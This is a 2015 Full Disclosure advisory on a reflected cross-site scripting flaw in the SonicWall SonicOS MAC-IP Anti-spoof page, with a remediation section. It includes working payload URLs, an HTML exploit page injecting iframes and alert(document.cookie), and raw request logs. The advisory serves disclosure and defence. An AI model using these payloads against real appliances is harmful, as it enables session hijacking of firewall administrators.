Date: Tue, 28 Apr 2015 15:01:29 +0200
From: Vulnerability Lab <research@...nerability-lab.com>
To: fulldisclosure@...lists.org
Subject: [FD] SonicWall SonicOS 7.5.0.12 & 6.x - Client Side Cross Site
 Scripting Vulnerability

Document Title:
===============
SonicWall SonicOS 7.5.0.12 & 6.x - Client Side Cross Site Scripting Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1359


Release Date:
=============
2015-04-23


Vulnerability Laboratory ID (VL-ID):
====================================
1359


Common Vulnerability Scoring System:
====================================
3


Product & Service Introduction:
===============================
The proven SonicOS architecture is at the core of every Dell™ SonicWALL™ firewall from the SuperMassive™ E10800 to the TZ 100. 
SonicOS uses deep packet inspection technology in combination with multi-core specialized security microprocessors to deliver 
application intelligence, control, and real-time visualization, intrusion prevention, high-speed virtual private networking (VPN) 
technology and other robust security features.

(Copy of the Vendor Homepage: http://www.sonicwall.com/us/en/products/Network-Security-Platform.html )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a cross site vulnerability in the official SonicWall SonicOS v6.x and v7.5.0.12.


Vulnerability Disclosure Timeline:
==================================
2015-04-23:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
DELL
Product: Sonicwall SonicOS 7.5.0.12 & v6.x


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple client-side cross site scripting web vulnerabilities has been discovered in the official SonicWall SonicOS v6.x and v7.5.0.12.
The security vulnerability allows remote attackers to manipulate client-side application to browser requests to compromise session information.

The vulnerability is located in the `searchSpoof and searchSpoofIpDet` values of the `Network > MAC-IP Anti-spoof` module. Remote attackers are able to 
inject malicious script codes to client-side application requests. Remote attackers are able to prepare special crafted weblinks to execute client-side 
script code that compromises the sonicos application user/admin session data. The execution of the script code occurs in the mac-ip anti spoof module.
The attack vector of the vulnerability is located on the client-side of the online-service and the request method to inject or execute the code is GET.

The security risk of the non-persistent cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.0.
Exploitation of the non-persistent cross site scripting web vulnerability requires no privileged web application user account and low user interaction. 
Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing, non-persistent external redirects, non-persistent load 
of malicious script codes or non-persistent web module context manipulation.

Request Method(s):
				[+] GET

Vulnerable Module(s):
				[+] Network > MAC-IP Anti-spoof

Vulnerable File(s):
				[+] macIpSpoofView.html

Vulnerable Parameter(s):
				[+] searchSpoof
				[+] searchSpoofIpDet


During the client security tests the research team noticed that the official vm version and the all appliance models are affected by the security issue. 
The following versions and models of the sonicwall appliance web-application are affected by the remote cross site scripting vulnerability.

Affected Model(s):
				[+] (CASS) Anti Spam - UTM Integrated Anti-Spam
				[+] (CASS) Anti Spam - Enhanced Comprehensive Anti-spam
				[+] (CASS) Anti Spam - Email Security

Affected Version(s):
				[+] SonicOS v7.5.0.12
				[+] SonicOS v6.x


Proof of Concept (PoC):
=======================
The client-side cross site scripting vulnerability can be exploited by remote attackers without privileged application user account and 
with low or medium user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information 
and steps below to continue.


PoC: Payload(s)
https://cas.127.0.0.1:8080/macIpSpoofView.html?mainFrameYAxis=0&startItem=0&startItemIpDet=0&currIfaceConfig=0&currIfaceConfigIndex=1&searchSpoof=%22%3E%3Ciframe%20src=http://www.vulnerability-lab.com onload=alert("PENTEST")%20<&searchSpoofIpDet=[x]

https://cas.127.0.0.1:8080/macIpSpoofView.html?mainFrameYAxis=0&startItem=0&startItemIpDet=0&currIfaceConfig=0&currIfaceConfigIndex=1&searchSpoof=[x]
&searchSpoofIpDet=%22%3E%3Ciframe%20src%3Da%20onload%3Dalert%28%22PENTEST%22%29%20 


PoC: Exploit

<html>
<head><body>
<title>Sonicwall AntiSpam "SonicOS Enhanced 5.9.0.7" - (searchSpoof & searchSpoofIpDet) Cross Site Scripting PoC</title>
<iframe src=https://cas.127.0.0.1:8080/macIpSpoofView.html?mainFrameYAxis=0&startItem=0&startItemIpDet=0&currIfaceConfig=0&currIfaceConfigIndex=1&searchSpoof=%22%3E%3Ciframe src=http://www.vulnerability-lab.com onload=alert("PENTEST")%20<&searchSpoofIpDet=[x]>
<br>
<img src=https://cas.127.0.0.1:8080/macIpSpoofView.html?mainFrameYAxis=0&startItem=0&startItemIpDet=0&currIfaceConfig=0&currIfaceConfigIndex=1&searchSpoof=[x]
&searchSpoofIpDet=%22%3E%3Ciframe%20src%3Da%20onload%3Dalert%28%22PENTEST%22%29%20>
<br>
<iframe src=https://cas.127.0.0.1:8080/macIpSpoofView.html?mainFrameYAxis=0&startItem=0&startItemIpDet=0&currIfaceConfig=0&currIfaceConfigIndex=1&searchSpoof=%22%3E%3Cimg src=http://www.vulnerability-lab.com/files/ptest.png onload=alert(document.cookie)%20<&searchSpoofIpDet=%22%3E%3Cimg 
src=http://www.vulnerability-lab.com/files/ptest.png onload=alert(document.cookie)%20<
</body></head>
</html>

Note: Exploiting a Cross Site Scripting Vulnerability in the searchSpoof value of the macIpSpoofView.html file.



PoC: Vulnerable Source

<td class="listLabel" align="left" nowrap="" width="15%">
<span class="objItemSpacing">
<input title="" name="capCbox" onclick="checkAllSpoofIp(this);" onfocus="if (this.disabled) { this.blur(); }" type="checkbox">
</span>
				<span class="listLabel" align="left" nowrap="">
					<script type="text/JavaScript">
					<!--
						setSpoofIpColHead(1, 'IP Address');
					// -->
</script><a class="tableLink" href="/macIpSpoofView.html?tableSortCol=1&tableSortInverted=0&
searchSpoof="><[CLIENT-SIDE SCRIPT CODE EXECUTION!];)" &searchspoofipdet="&startItem=0&startItemIpDet=0"">IP Address</a>
				</span>
			</td>
			<td class="listLabel" align="left" width="10%" nowrap>
				<script type="text/JavaScript">
				<!--
					setSpoofIpColHead(2, 'Type');
				// -->
				</script>
			</td>
			<td class="listLabel" align="left" width="10%" nowrap>
				<script type="text/JavaScript">
				<!--
					setSpoofIpColHead(3, 'Interface');
				// -->
				</script>
			</td>
			<td class="listLabel" align="left" width="15%" nowrap>
				<script type="text/JavaScript">
				<!--
					setSpoofIpColHead(4, 'MAC Address');
				// -->
				</script>
			</td>
			<td class="listLabel" align="left" width="20%" nowrap>
				<script type="text/JavaScript">
				<!--
					setSpoofIpColHead(5, 'Host Name');
				// -->
				</script>



--- PoC Session Logs [GET] ---
Status: 200[OK] 

GET https://cas.127.0.0.1:8080/macIpSpoofView.html?mainFrameYAxis=0&startItem=0&startItemIpDet=0&currIfaceConfig=0&currIfaceConfigIndex=1&searchSpoof=%22%3E%3C[CLIENT-SIDE SCRIPT CODE INJECTION!]&searchSpoofIpDet= Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[cas.127.0.0.1:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[https://cas.127.0.0.1:8080/macIpSpoofView.html]
      Cookie[__utma=227649090.564465250.1416863624.1416863624.1416865480.2; __utmc=227649090; __utmz=227649090.1416863624.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmv=227649090.|1=User%3AUnkown=Unknown=1; referreringDomain=; SonicwallReferreringDomain=70160000000jxw7; _ga=GA1.2.564465250.1416863624; s_fid=23E57A7F416D34BD-3112FD9D33A8F2CA; s_cc=true; mbox=check#true#1416865554|session#1416865493280-142580#1416867354|PC#1416865493280-142580.26_06#1418075095; s_nr=1416865503646; s_getval=backlink; s_ppv=marketing.sonicwall.com%2Fregister%2F69295; s_sq=%5B%5BB%5D%5D; s_c49=c%3Dus%26l%3Den%26s%3Dcorp; cidlid=%3A%3A; s_channelstack=%5B%5B'Referrers'%2C'1416865503950'%5D%5D; sessionTime=2014%2C10%2C24%2C22%2C45%2C3%2C950; s_hwp=null%7C%7Cnull%7C%7C24%3A11%3A2014%3A22%3A45%7C%7CN%7C%7CN%7C%7Cnull%7C%7C0%7C%7Cnull%7C%7Cnull%7C%7CN%7C%7Cnull%7C%7Cnull%7C%7Cnull; s_sv_sid=75828994935; s_sv_112_p1=1@11@...5062&e/2; s_sv_112_s1=1@16@...1416865504579; curUrl=macIpSpoofView.html; curUsr=; 77177=local; 1008=2; 1021=600; 1023=10; 1024=5; 1031=0; 1032=0; 1033=0; 1034=0; 1035=0; 1040=4; 1041=1; 1042=0; 1043=0; 1044=0; 1045=0; 1007=applFolder; 1022=true; SessId=null; PageSeed=null; tabbedWinAlert=done; 1004=1; 1000=9; 777=1]
      Connection[keep-alive]
   Response Header:
      Server[SonicWALL]
      Expires[-1]
      Cache-Control[no-cache]
      Content-Type[text/html; charset=UTF-8;]



-
Status: 200[OK] 

GET https://cas.127.0.0.1:8080/macIpSpoofView.html?mainFrameYAxis=0&startItem=0&startItemIpDet=0&currIfaceConfig=0&currIfaceConfigIndex=1&searchSpoof=&searchSpoofIpDet=%22%3E%3Ciframe%20src%3Da%20onload%3Dalert%28%22PENTEST%22%29%20 Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[cass240.demo.sonicwall.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[https://cass240.demo.sonicwall.com/macIpSpoofView.html]
      Cookie[__utma=227649090.564465250.1416863624.1416865480.1417100584.3; __utmc=227649090; __utmz=227649090.1416863624.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmv=227649090.|1=User%3AUnkown=Unknown=1; referreringDomain=; SonicwallReferreringDomain=70160000000jxw7; _ga=GA1.2.564465250.1416863624; s_fid=23E57A7F416D34BD-3112FD9D33A8F2CA; s_cc=true; mbox=check#true#1416865554|session#1416865493280-142580#1416867354|PC#1416865493280-142580.26_06#1418075095; s_nr=1416865503646; s_getval=backlink; s_ppv=marketing.sonicwall.com%2Fregister%2F69295; s_sq=%5B%5BB%5D%5D; s_c49=c%3Dus%26l%3Den%26s%3Dcorp; cidlid=%3A%3A; s_channelstack=%5B%5B'Referrers'%2C'1416865503950'%5D%5D; sessionTime=2014%2C10%2C24%2C22%2C45%2C3%2C950; s_hwp=null%7C%7Cnull%7C%7C24%3A11%3A2014%3A22%3A45%7C%7CN%7C%7CN%7C%7Cnull%7C%7C0%7C%7Cnull%7C%7Cnull%7C%7CN%7C%7Cnull%7C%7Cnull%7C%7Cnull; s_sv_sid=75828994935; s_sv_112_p1=1@11@...5062&e/2; s_sv_112_s1=1@16@...1416865504579; curUrl=macIpSpoofView.html; curUsr=; 77177=local; 1008=2; 1021=600; 1023=10; 1024=5; 1031=0; 1032=0; 1033=0; 1034=0; 1035=0; 1040=4; 1041=1; 1042=0; 1043=0; 1044=0; 1045=0; 1007=applFolder; 1022=true; SessId=null; PageSeed=null; tabbedWinAlert=done; 1004=1; 1000=9; 777=1; __utmb=227649090.2.10.1417100584; __utmt=1; _gat=1]
      Connection[keep-alive]
   Response Header:
      Server[SonicWALL]
      Expires[-1]
      Cache-Control[no-cache]
      Content-Type[text/html; charset=UTF-8;]



-
Status: 200[OK] 
GET https://cas.127.0.0.1:8080/[CLIENT-SIDE SCRIPT CODE EXECUTION!] Load Flags[LOAD_DOCUMENT_URI  ] Größe des Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[cas.127.0.0.1:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[https://cas.127.0.0.1:8080/macIpSpoofView.html?
mainFrameYAxis=0&startItem=0&startItemIpDet=0&currIfaceConfig=0&currIfaceConfigIndex=1&searchSpoof=%22%3E%3C[CLIENT-SIDE SCRIPT CODE INJECTION!]&searchSpoofIpDet=]
      
Cookie[__utma=227649090.564465250.1416863624.1416863624.1416865480.2; __utmc=227649090; __utmz=227649090.1416863624.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 
__utmv=227649090.|1=User%3AUnkown=Unknown=1; referreringDomain=; SonicwallReferreringDomain=70160000000jxw7; _ga=GA1.2.564465250.1416863624; s_fid=23E57A7F416D34BD-3112FD9D33A8F2CA; 
s_cc=true; mbox=check#true#1416865554|session#1416865493280-142580#1416867354|PC#1416865493280-142580.26_06#1418075095; s_nr=1416865503646; s_getval=backlink; 
s_ppv=marketing.sonicwall.com%2Fregister%2F69295; s_sq=%5B%5BB%5D%5D; s_c49=c%3Dus%26l%3Den%26s%3Dcorp; cidlid=%3A%3A; s_channelstack=%5B%5B'Referrers'%2C'1416865503950'%5D%5D; 
sessionTime=2014%2C10%2C24%2C22%2C45%2C3%2C950; s_hwp=null%7C%7Cnull%7C%7C24%3A11%3A2014%3A22%3A45%7C%7CN%7C%7CN%7C%7Cnull%7C%7C0%7C%7Cnull%7C%7Cnull%7C%7CN%7C%7Cnull%7C%7Cnull%7C%7Cnull; 
s_sv_sid=75828994935; s_sv_112_p1=1@11@...5062&e/2; s_sv_112_s1=1@16@...1416865504579; curUrl=macIpSpoofView.html; curUsr=; 77177=local; 1008=2; 1021=600; 1023=10; 1024=5; 1031=0; 1032=0; 1033=0; 1034=0; 1035=0; 1040=4; 1041=1; 1042=0; 1043=0; 1044=0; 1045=0; 1007=applFolder; 1022=true; SessId=null; PageSeed=null; tabbedWinAlert=done; 1004=1; 1000=9; 777=1]
      Connection[keep-alive]
   Response Header:
      Server[SonicWALL]
      Expires[-1]
      Cache-Control[no-cache]
      Content-Type[text/html;charset=UTF-8]


Reference(s):
https://cas.127.0.0.1:8080/
https://cas.127.0.0.1:8080/macIpSpoofView.html
https://cas.127.0.0.1:8080/macIpSpoofView.html?mainFrameYAxis=0&startItem=0&startItemIpDet=0


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable searchSpoof and searchSpoofIpDet parameters.
Restrict the input of the values and encode the output context of the macipspoofview.html to prevent client-side or application-side script code injection attacks.


Security Risk:
==============
The security risk of the cross site scripting web vulnerability in the macipspoofview.html file is estimated as medium. (CVSS 3.0)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@...lution-sec.com) [www.vulnerability-lab.com]


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=========================
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